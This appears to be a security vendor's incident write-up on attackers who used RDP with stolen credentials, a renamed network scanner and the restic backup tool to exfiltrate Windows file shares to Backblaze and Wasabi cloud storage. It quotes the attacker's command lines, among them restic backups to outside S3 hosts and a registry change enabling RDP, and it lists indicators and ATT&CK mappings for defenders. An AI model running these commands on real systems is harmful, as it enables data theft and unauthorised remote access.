Using Backup Utilities for Data Exfiltration

Background

As an MDR provider supporting over 2.7 million endpoints across an extremely diverse customer base, Huntress sees a great deal of both legitimate and malicious activities. In a number of instances, Huntress analysts will observe the malicious use of an application that is otherwise extensively used for legitimate purposes across the customer base, at large.

In August 2023, Huntress analysts observed INC ransomware threat actors employing MegaSync for data exfiltration. Recently, GBHackers published an article outlining data exfiltration tools used by ransomware threat actors, one of which was the restic backup application. A Huntress Security Operations Center (SOC) analyst investigated and reported alerts from two endpoints related to the malicious use of the same backup application.

The Attack

Huntress alerted a customer to two endpoints (both Windows 2019 servers) impacted by similar activity; specifically, the use of the restic backup application, apparently in an attempt to exfiltrate data from a customer’s infrastructure. 

The initial endpoint was accessed via RDP, using previously compromised credentials, from an endpoint named “debian.” The first instance of the compromised account name appearing in the investigative timeline was on the day that the alerts were generated and reported on via the SOC, and there were no observed failed login attempts for that account name. The threat actor started by viewing several files on remote endpoints, including a text file, a CSV file, and a PDF file. The threat actor continued by downloading a utility from SoftPerfect Pty. Ltd, which they named “system.exe”; the original file name field for the file was blank, but it should be safe to assume that the downloaded file is likely a scanner utility. The command line used to launch the utility appeared in EDR telemetry as follows:

C:\Users\<REDACTED>\Downloads\sc\1\System.exe

The investigative timeline also illustrated a number of DCOM/10028 messages associated with “system.exe”, indicating that the application was unable to communicate with a number of endpoints within the infrastructure.

The threat actor then pinged both s3.us-central-1.wasabisys[.]com and s3.us-east-005.backblazeb2[.]com, after which they downloaded an archive from which they extracted the restic backup application, which they renamed to dns.exe, executing via the following command line:

C:\Windows\dns.exe -r s3:s3.us-west-002.backblazeb2[.]com/<REDACTED> backup "<REDACTED SHARE 1>"

Not long after the first endpoint was accessed and the threat actor’s activity resulted in an alert being generated, the threat actor accessed the second endpoint from the first endpoint apparently to verify credentials, then accessed the second endpoint from another endpoint to modify the Windows Registry to enable RDP, via the following command line:

cmd.exe /Q /c reg add “HKLM\system\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t reg_dword /d 0 /f 1> \Windows\Temp\yGEciX 2>&1

Even though RDP access was apparently enabled, there were no indications that the threat actor attempted to log into the second endpoint via RDP before both endpoints were isolated and the alerts reported to the customer. The threat actor then accessed the second endpoint via type 3 “network” logins, to “set” several environment variables (i.e., AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and RESTIC_PASSWORD), prior to launching restic.exe (which was not renamed).

restic.exe -r s3:s3.us-west-002.backblazeb2[.]com/<REDACTED> backup "<REDACTED SHARE 2>"

This command may not have succeeded, as the threat actor was observed making repeated attempts to launch the backup application, after changing the AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY environment variables. Per the investigative timeline, these attempts went on for about 17 minutes. The threat actor was then observed initializing the backup application to the other S3 bucket, via the following command:

restic.exe -r s3:https://s3.us-central-1.wasabisys[.]com/<REDACTED> init

The threat actor did not appear to be able to get the backup application successfully launched before the endpoint was isolated. The investigative timeline provided no indication of application crashes, nor of Windows Error Reporting messages, but the continued, repeated attempts at the same command lines, while changing the various environment variables, indicated that the threat actor may not have succeeded in their attempts to exfiltrate data from the second endpoint.

Conclusions

Based on observations from the alerts and the subsequent investigation, the threat actor appears to have had prior access to the impacted infrastructure via some unobserved means; while the investigative timeline showed clear indications of failed login attempts to the first endpoint, none of them were for the compromised account (a different account name was being attempted), and the attempts continued well after the threat actor successfully logged into the first endpoint. 

As further indicated via the investigative timeline, the threat actor successfully accessed the second endpoint from the first endpoint, and again attempted to run the backup application, albeit without renaming it. The backup application used by the threat actor was distinctly different from the legitimate backup software utilized within the customer’s infrastructure. In addition, the attempts to backup the contents of file shares, observed via EDR telemetry, were apparently only preceded by a network scan and some extremely limited viewing of file (CSV, PDF) contents; there were no indications of more extensive or thorough attempts at discovery prior to the threat actor’s attempts at backing up entire folder contents. 

There is no indication that the threat actor attempted to establish additional persistence, such as installing an additional RMM tool, adding additional users to the endpoints, etc. 

In light of these observations, it would be safe to assume that the threat actor had some a priori knowledge of the infrastructure, including compromised credentials and locations of data suitable for exfiltration. 

Indicators 

Threat actor endpoint NetBIOS name: debian 
Exfiltration sites : s3.us-central-1.wasabisys[.]com, s3.us-east-005.backblazeb2[.]com
‍System.exe – SHA-256:
6c176e9c2a7eaf4eb26ee08deadba88ba39a14cba064f946d2722718ac1b57f8
‍restic/dns.exe – SHA-256:
98394683d8f30ce9fb313100f593dc16e97a52723b18d534cf586391a97cdc1d
Restic.exe – SHA-256:
75d4148ecdb76518b04f612a90c804df99c115beb843c06835fd8c1edbc35cac

MITRE ATT&CK Mapping

Initial Access –  T1078.002, Valid Accounts
Initial Access – T1133, External Remote Services
Execution – T1059.003, Windows Command Shell
Persistence – T1078.002, Valid Accounts
Defense Evasion – T1027, Obfuscated Files or Information
Collection – T1560.001, Archive via Utility
Collection – T1039, Dat from Network Shared Drive
Exfiltration – T1567, Exfiltration to Cloud Storage

https://www.huntress.com/blog/using-backup-utilities-for-data-exfiltration